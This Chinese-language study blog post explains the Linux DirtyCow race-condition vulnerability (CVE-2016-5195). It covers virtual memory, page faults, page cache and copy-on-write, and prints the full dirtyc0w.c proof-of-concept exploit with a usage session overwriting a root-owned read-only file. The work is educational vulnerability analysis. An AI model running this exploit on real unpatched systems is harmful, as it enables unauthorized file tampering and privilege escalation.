条件竞争学习 之 DirtyCow分析

冬令营听了两遍DirtyCow还是不太懂,这次决定借着学习条件竞争的机会搞懂这个很出名的漏洞。首先介绍一下DirtyCow,其CVE编号:CVE-2016-5195。Linux内核的内存子系统在处理写入时复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。影响版本2.6.22到4.8.3, 4.7.9, 4.4.26之前。首先介绍一下条件竞争:

条件竞争简介

Race Condition

Race Condition,中文可称之为条件竞争,也可以叫做竞争条件或者竞态条件。其意义参考CTF Wiki:是指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时,就可能会出现bug。条件竞争的条件:

  1. 并发
  2. 共享对象
  3. 改变对象

所以当竞争的共享对象是内存中变量时,条件竞争可以算作内存破坏漏洞。分析条件竞争就是分析两个并发的线程/进程在不断的对共享对象做什么?更简单的说,条件竞争就是分析两个/多个“不断”

突然想到侧信道攻击的条件,不需要并发,不需要改变对象,只需要能读取到共享对象即可

CTF Wiki中的练习

跟着完成了一遍这个例子,总结一下就是利用条件竞争使得漏洞程序可以执行到一个可以栈溢出的漏洞函数,进而getshell。完成这里的例子测试中发现sleep不用0.000008,随便用个1,一样可以达到效果。不过我觉得这里的例子的情景说明的不是很清楚,仔细分析一下,这里的漏洞进程和攻击者进程都是我们自己运行起来的,其中:

  • 受害者进程:循环启动./test fake的脚本进程
  • 攻击者进程:循环拷贝和删除文件的脚本进程
  • 共享资源是:fake文件

条件竞争中,分清进程和线程间的角色,是理解这种漏洞如何利用的关键。分析的目标是受害者进程,构造的是攻击者进程。因为条件竞争本身是一种时间维度上的漏洞,要求是并发,所以这两个进程需要拼命的循环,才可能巧合遇到攻击者进程控制的共享资源可以攻击到受害者进程。所以在CTF中,web中的条件竞争漏洞考察的次数比较多,因为可以通过访问不同页面达到启动两个不同的进程,通过快速多次访问两个不同的功能达到并发的条件。而在Pwn题目中,可以让选手操作一个可以循环的攻击者进程的情景不是很好操作,所以在Pwn中的条件竞争一般要放到线程中出题,便于构造漏洞。

如果想把这道题目作为一道CTF题目让选手做,可以把受害者进程循环启动起来,构造沙盒让选手可以上传攻击的二进制文件并且可以循环运行,但是不可以访问到flag或者让攻击者进程调试到受害者进程。

漏洞情景及原理

利用DirtyCow漏洞可以任意修改文件系统中当前用户没有写权限的文件,即任意文件的写操作,从而使得攻击者从一个低权限的用户提升到一个高权限的用户。攻击方式为攻击者在目标主机上运行一个攻击者进程,此进程中包含两个线程,其中:

  • 受害者线程:不断写内存的一个线程,这个内存区域是要更改的只读文件的内存映射
  • 攻击者线程:不断通知操作系统,只读文件的内存映射的这片内存当前进程不再使用的一个线程
  • 共享对象是:两个线程属于同一个进程,该进程的页表项是两个线程的共享对象

所以可见所谓的受害者线程,还是攻击者自己写的,那到底怎么个受害法呢?攻击者自己害自己?因为这里其实我们攻击的角色是操作系统,受害者线程里的写内存的代码是操作系统的系统调用。攻击者构造了两个线程,利用攻击者线程中系统调用代码,攻击受害者线程里的系统调用的代码,从而导致受害者线程中的系统调用的代码执行出错,修改了一个只读文件的内容。所以受害者其实是操作系统。

漏洞原理是:控制分配的内存页的写意图标记位在某个时刻会被丢掉,如果这时利用一个线程清空页表,再次进行缺页处理时,则会把Page cache作为该页的物理地址,页表虽然没有标记可写,但是通过write系统调用对/proc/self/mem写入是强制的。写入之后由于Page cache的回写机制,会将修改返回真实文件。

参考:

最重要的是两个线程的操作:一个线程调用write(2)写/proc/self/mem,另一个线程调用madvice(MADV_DONTNEED)。由于这两个线程操作的相互竞争,当wirte(2)直接修改基于文件的内存映射时(即使涉及到的文件不允许被攻击者进程写)会产生一个安全问题,最终导致提权。

其实具体说可能有点绕,就是foll_write标志在row特性执行后去掉了,但是再次执行时却没有检查页表项的有效性,导致我们可以利用另一个线程清空页表。清空的页表由于没有了foll_write权限要求,再次被分配时就不执行row执行机制,导致原本不应该本写的地址拥有了写的权限。

在线实验平台

PoC代码理解

这漏洞的PoC非常短,用法如下:

####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################

PoC如下:

#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
    lseek(f,map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}

int main(int argc,char *argv[])
{
  if (argc<3)return 1;
  pthread_t pth1,pth2;
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %x\n\n",map);
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}

可见这个PoC的代码也非常简单易懂,需要了解linux的6个系统调用,可以通过man手册查询:

  • open: 打开一个文件系统中的文件,返回文件描述符
  • write: 向打开的文件描述符中,写相应的内容
  • fstat: 获得文件描述符指向的文件的更多信息,如文件大小等
  • mmap: 通过文件描述符,将已经打开的文件映射到内存中
  • lseek: 按照偏移更改文件描述符的指针
  • madvise: 将自己的主动的控制内存的行为告知操作系统内核

这里首先main函数打开要修改的文件,并且以只读和私有方式映射到内存中(正常操作时用open方法打开的文件不会加载到用户态的内存中),然后启动两个线程,procselfmemThread线程不断写那段内存,madviseThread线程不断释放那段内存。所以关键的就是分析两个不断:

  • 怎么个不断写内存?
  • 又怎么个不断释放内存?

而且我们要修改的是文件,是文件系统的中的概念,物理的存储在磁盘上,那么为什么我们这里不断修改内存,最终会影响磁盘上的内容呢?我们并没有对main函数里open的那个文件进行任何的修改呀!所以想要回答上面的三个问题,搞懂DirtyCow的工作原理,必须要明白相关的linux的管理机制,也就是要明白这个漏洞是linux的内核漏洞,要分析操作系统的代码。而且这里我们不能仅仅分析操作系统给每个程序划分的4G虚拟的内存空间了(32位下),还要分析真实的物理内存,即对应到电脑上的内存条上的地址。

相关的Linux机制

接下来所涉及到过程,机制,概念都是内核态的东西,在用户态是不需要是怎么关心的。

聊聊操作系统

操作系统是帮助用户来和硬件打交道的软件,其中管理内存条怎么使用的功能就是内存管理。但是在我们平时编写程序的时候,我们已经忽略了这些硬件的存在,我们关注的是各种变量,代码逻辑,甚至是更抽象的一些组件,如Android的activity等。因为操作系统已经把计算机这些硬件抽象成了进程,文件系统,IO。然后操作系统上面的软件,SDK等继续抽象,有了各种对象,组件,框架。但是如果我们要真正的理解计算机,就要把这些抽象再具体对应到计算机的硬件,以及这些硬件都干了什么。

比如操作系统通过进程管理CPU和内存,通过文件系统来管理硬盘,通过IO来管理外设。但是这些抽象和硬件其实不是一一对应的关系,就像在管理进程的时候,进程是需加载到内存中的,所以进程的这个抽象就会涉及到CPU和内存的管理。再有就是文件系统,操作系统通过文件系统来管理外部存储设备,如硬盘等,但这个只是理论上的抽象。linux的虚拟文件系统中的伪文件系统proc就是特例,用户可以通过读写这个文件系统里的文件,直接看到一些进程,内存或者硬件的相关信息,这些信息是操作系统内核提供的,而不是真正存在于物理存储设备上。

小时觉得买个U盘插到电脑上,弹出的新加卷就是这个U盘的全部,其实这个是因为操作系统将U盘上的文件系统展示给用户的这么一个过程,U盘上到底存了什么?怎么存的?已经被操作系统屏蔽掉了。所以我们每天打开的C盘D盘E盘,linux下的各种目录,只是操作系统想让你看到的,所以你看到的文件不一定存在于物理设备上,看不到的也不一定就不存在,这一切都取决于操作系统提供的文件系统到底怎么实现。这个不那么“实在”的文件系统,在linux中称之为虚拟文件系统。

Linux虚拟文件系统

一切皆文件是Unix/Linux的基本哲学之一。但是显然,一切本身并不是真的都是文件。所以linux就设计了一种映射,把各种资源映射成文件,然后封装好统一的操作界面,这个机制就是linux的虚拟文件系统(Virtual File System, 简称 VFS),一图胜千言:

image

可见我们常见的存储介质,U盘硬盘等,直接用linux进行读取时,被划分为基于块设备的文件文件系统。这个还是比较好理解的,是真的在硬件上存储了相应的文件。其中伪文件系统的proc文件系统是比较典型且常见的,这个文件系统主要是为了用户可以查看到一些进程,内存,网络等相关信息:

  • /proc/net/arp 包含了内网机器信息
  • /proc/net/tcp 包含了tcp端口信息
  • /proc/cpuinfo 包含了cpu信息
  • /proc/version 包含了系统版本信息
  • /proc/pid/cmdline 包含了用于开始进程的命令
  • /proc/pid/cwd 包含了当前进程工作目录的一个链接
  • /proc/pid/environ 包含了可用进程环境变量的列表
  • /proc/pid/exe 包含了正在进程中运行的程序链接
  • /proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接
  • /proc/pid/stat 包含了进程的状态信息;
  • /proc/pid/statm 包含了进程的内存使用信息
  • /proc/self/maps 进程虚拟内存中加载的文件和库等
  • /proc/self/mem 这个文件是一个指向当前进程的虚拟内存文件的文件,当前进程可以通过对这个文件进行读写以直接读写虚拟内存空间

Linux虚拟内存管理

说回内存管理,我们知道硬件上我们只有一个内存条,如果所有进程都利用真实的物理地址去使用内存条来管理内存是不可能的,因为内存是有限的,而需求是无限的。所以现代操作系统都采取虚拟内存的方式来进行进程的内存管理。也就是说以进程自己的视角来看的内存是独立的,每个进程都可以全部的4G内存空间(32位下),这里就是因为操作系统提供了虚拟内存的这样一个机制。

而且进程的虚拟内存空间会被分成不同的若干区域,每个区域都有其相关的属性和用途,一个合法的地址总是落在某个区域当中的,这些区域也不会重叠。在linux内核中,这样的区域被称之为虚拟内存区域(virtual memory areas,简称 VMA)。可以通过虚拟文件系统中的/proc/self/maps 即可查看当前进程的VMA,或者通过gdb的vmmap命令:

下面这个就是VMA

gdb-peda$ vmmap
Start      End        Perm	Name
0x08048000 0x080eb000 r-xp	/mnt/hgfs/桌面/pwnable/calc/calc
0x080eb000 0x080ed000 rw-p	/mnt/hgfs/桌面/pwnable/calc/calc
0x080ed000 0x08111000 rw-p	[heap]
0xf7ff9000 0xf7ffc000 r--p	[vvar]
0xf7ffc000 0xf7ffe000 r-xp	[vdso]
0xfffdd000 0xffffe000 rw-p	[stack]

在这个机制下,每个进程都有了自己的虚拟地址空间,但是最终还是要真正的存储在物理的内存条上,所以虚拟空间中的地址一定要有一种对应关系,对应到物理的内存上。在x86架构上,硬件有两种机制支持这种映射,即段式内存访问和页式内存访问,两种几乎为竞争关系。发展到现在,结果毋庸置疑,页式完胜。到了x64,段式内存访问就基本退出了历史舞台了。但是段寄存器仍然肩负着特权级保护的作用,参考文章:一个古老又广泛的寻址技术:段寄存器。所以这里我们主要介绍页式内存管理,至于linux的段机制是如何使用的,参考如下文章:

页式内存管理

页式内存管理中把虚拟内存和物理内存都划分为长度大小固定的页,虚拟的内存只在逻辑上存在,物理的页(也称之为页框,页帧)真实的存在于内存条上,把虚拟内存页和真实的物理内存页的对应关系存储成一张表,就是页表,可以把页表想象成存放在内存中的一个大数组。

image

所以每个进程要去访问一个内存上的值,操作系统根据进程访问的虚拟内存地址,需要根据页表对应查找的对应的物理地址。这个页表是每个进程都有的一个大数组,操作系在统物理内存中分配这段空间,并将这个大数组的起始地址存储到页表基址寄存器。这样即可通过查询页表将进程虚拟空间中的逻辑地址转换为内存条上的物理地址。使能页机制后,不仅能使进程获得相对独立的虚拟内存空间,而且通过对页表的结构设计出相应的权限控制,更安全的管理内存。linux中页表的一些标记位如下:

image

前三个分别是:存在,可写,用户态可访问。linux可以直接通过页机制来做到用户态的虚拟内存地址隔离,以及内核态的内存在用户态是无法访问的。但为页机制保驾护航的正是段寄存器。因为段寄存器的低两位是当前的特权级,用户态的代码是无法执行特权指令,不能关闭页机制,也没有办法更改CR3寄存器去修改页表位置,这才保证了页机制的安全。

缺页中断

但是物理内存是有限的,操作系统会给某个进程分配固定数量的页框供进程使用,所以进程用到的逻辑页面的个数肯定要比分配到的物理页框的个数要多,但因为程序的执行是有空间局部性和时间局部性,所以在时间维度上可以暂时将不需要的页面从物理页框中换出到磁盘上(注意:这里出现了外部存储设备!),但是在逻辑内存空间中,即进程自己看到的内存空间中,进程自己是感受不到的,进程自己觉得自己的4G内存空间用的非常好。当进程访问到一个逻辑页面时,操作系统去查页表,发现这个逻辑页面不在内存中,那么则会去磁盘上找到刚才换出的页面,重新加载到内存,然后修好页表,然后重新去用逻辑地址查找这个物理地址,这个过程就是缺页中断。

image

图片来自于由清华大学陈渝和向勇老师主讲的操作系统的MOOC课程

不过这只是缺页中断的一种情况,在liunx的内存管理中,可能还会有其他情况也会出现缺页中断,例如首次访问某个逻辑地址时,或者需要触发写时复制时等等。

Linux的IO管理

聊聊 Linux IO

read/write

刚才我们一直在讨论内存,现在我们讨论下外部,就用最正常的存储在物理磁盘上的文件来举例,或者说平日里我们我们通过文件系统来访问外部存储,就是提到的第一个概念,linux的虚拟文件系统中的块设备。linux的虚拟文件系统提供了一系列操作的接口,最简单的一套操作就是open,read,write。先通过open系统调用,参数为文件在文件系统中的路径,返回一个整型的文件描述符,然后利用这个文件描述符通过read系统调用读取内容到内存中,或者通过write系统调用将内存中的内容写回到文件中,所以这里即涉及到外部存储又涉及到内部存储。read/write系统调用会有以下的操作:

  • 访问文件,这涉及到用户态到内核态的转换
  • 读取硬盘文件中的对应数据,内核会采用预读的方式,比如我们需要访问100字节,内核实际会将按照4KB(内存页的大小)存储在Page cache中
  • 将read中需要的数据,从Page cache中拷贝到用户缓冲区中

Page cache

Page cache–wikipedia

如果不介绍Page cache讲DirtyCow,那这个漏洞一定是没有讲解到闭环。正因为Page cache的机制,才使得DirtyCow可以真正的去修改磁盘上的文件。

内核会为每个文件单独维护一个Page cache,是一段真正的物理内存,其中会保存用户进程访问过得该文件的内容,这些内容以页为单位保存在内存中。用户进程对于文件的大多数读写操作会直接作用到Page cache上,内核会选择在适当的时候将Page cache中的内容写到磁盘上(当然我们可以手工fsync控制回写),这样可以大大减少磁盘的访问次数,从而提高性能。

mmap内存映射

mmap为什么比read/write快(兼论buffercache和Page cache)

刚才讨论的read/write过程还是比较艰辛的,基本上涉及到用户内核态的切换,还有就是数据拷贝。接下来继续说mmap吧,mmap系统调用是将硬盘文件映射到用内存中,也就是内存映射,说的底层一些是将page cache中的页直接映射到用户进程地址空间中,从而进程可以直接访问自身地址空间的虚拟地址来访问page cache中的页,这样会并涉及page cache到用户缓冲区之间的拷贝,mmap系统调用与read/write调用的区别在于:

  • mmap只需要一次系统调用,后续操作不需要系统调用
  • 访问的数据不需要在page cache和用户缓冲区之间拷贝

所以,当频繁对一个文件进行读取操作时,mmap会比read高效一些。

内存映射方式与写时复制

Linux系统编程——内存映射与写时复制

mmap也就是内存映射这个系统调用,就是将虚拟内存中的一块区域与磁盘上的对象建立关联以初始化虚拟内存区域的内容,不过mmap有两种映射:

  • 文件映射:讲一个文件的一部分直接映射到调用进程的虚拟内存中
  • 匿名映射:一个映射没有对应的文件(也可以理解成一个内容总是被初始化为零的虚拟文件的映射)

一个进程的映射中的内存可以与其他进程中的映射共享,当两个或者多个进程共享相同的物理分页时候,每个进程都可以对其做修改和读取,此时就会出现一致性问题,由此,映射的方法又可以分为共享和私有:

  • 私有映射:在映射内容上发生的变更对其他进程不可见,对于文件映射来说即为不会在物理页面(底层)更改。此时就会利用写时复制技术(COW)来实现,这的写时复制和fork那个写时复制的情景不一样
  • 共享映射:在映射内容上发生的变更会对所有共享同一个映射的其他进程可见

漏洞原理详解

目前找到的:

冬令营的PPT:

image

这里参考《奔跑吧-linux内核》一书中的讲解DirtyCow章节对漏洞流程再次进行梳理,代码就不整理了:

mmap进行内存映射

这里使用了PROT_READ,MAP_PRIVATE属性映射内存,首先如果不设置只读,映射就会失败,因为这个文件用户是没有写权限的。其次设置私有属性是为了之后触发COW操作。映射完内存之后,文件已经从磁盘上加载到了文件对应的page cache,但是进程相应的页表还没有建立。

image

第一次页错误

尝试访问这个页,但发现页表项为空,所以触发一个页错误,因为映射的属性是只读并且私有,而我们要写,所以会触发COW。因为内核觉得,我复制出一块给你,你怎么写都无所谓,而后标记页表为只读RO和脏页dirty。

image

第二次页错误

但因为我们的意图是写,但是页表只读,所以仍然无法匹配页,这里linux做的处理就是把写意图去掉了,然后就能匹配上当前给你的页表。

image

madvice释放页表

此时CPU进行调度,执行到madvice线程,释放了对应的虚拟内存空间,意义就是把这个页表的存在位清空了。

image

第三次页错误

CPU调度回到write线程,访问又发生缺页错误,但此时我们的写意图已经被去掉了,内核直接返回page cache这个物理内存以建立页表关系,因为linux觉得你现在只是要读,不会对私有和只读两项有任何影响。

image

强制写调用kmap

因为这里我们是通过写入linux的伪文件系统的/proc/self/mem修改的内存,这种方式是无视页表权限的,也就是强制写入。如果用memcpy则无法写入,原理就是写这个文件调用的是kmap强制写入,写入的就是page cache这个物理页面,新的页表被标记为dirty。

image

page cache写回

page cache的关联页表是dirty的,由于page cache的写回机制,最终会覆盖磁盘上的文件,攻击完成。

image

总结

dirty指的就是,最后的脏位控制了page cache写。COW指的就是触发的写时复制机制,让页表表项指向一个一会将要被释放的内存页框,并且丢掉了写意图。

image

总结一下巧妙的主要是如下两点:

  1. 在mmap中利用PROT_READ,MAP_PRIVATE触发COW机制,然后利用条件竞争卸载当前页表
  2. 利用/proc/self/mem强行写入物理内存页,触发page cache的写回机制

再次说明两个不断:

  • 受害者线程:不断写内存的一个线程,这个内存区域是要更改的只读文件的内存映射
  • 攻击者线程:不断通知操作系统,只读文件的内存映射的这片内存当前进程不再使用的一个线程
  • 共享对象是:两个线程属于同一个进程,该进程的页表项是两个线程的共享对象

接下来我们回答一下开篇的三个问题:

  • 问:怎么个不断写内存?
  • 答:不断通过/proc/self/mem强制写映射的内存,希望能在madvice之后写到page cache里去。

  • 问:又怎么个不断释放内存?
  • 答:不断通过madvice系统调用去清空页表,希望能赶在第二次页错误之后清掉页表。

  • 问:修改内存如何影响磁盘上的内容?
  • 答:强制写了page cache的内存页框,通过page cache的写回机制,修改磁盘上的内容。

完整利用工具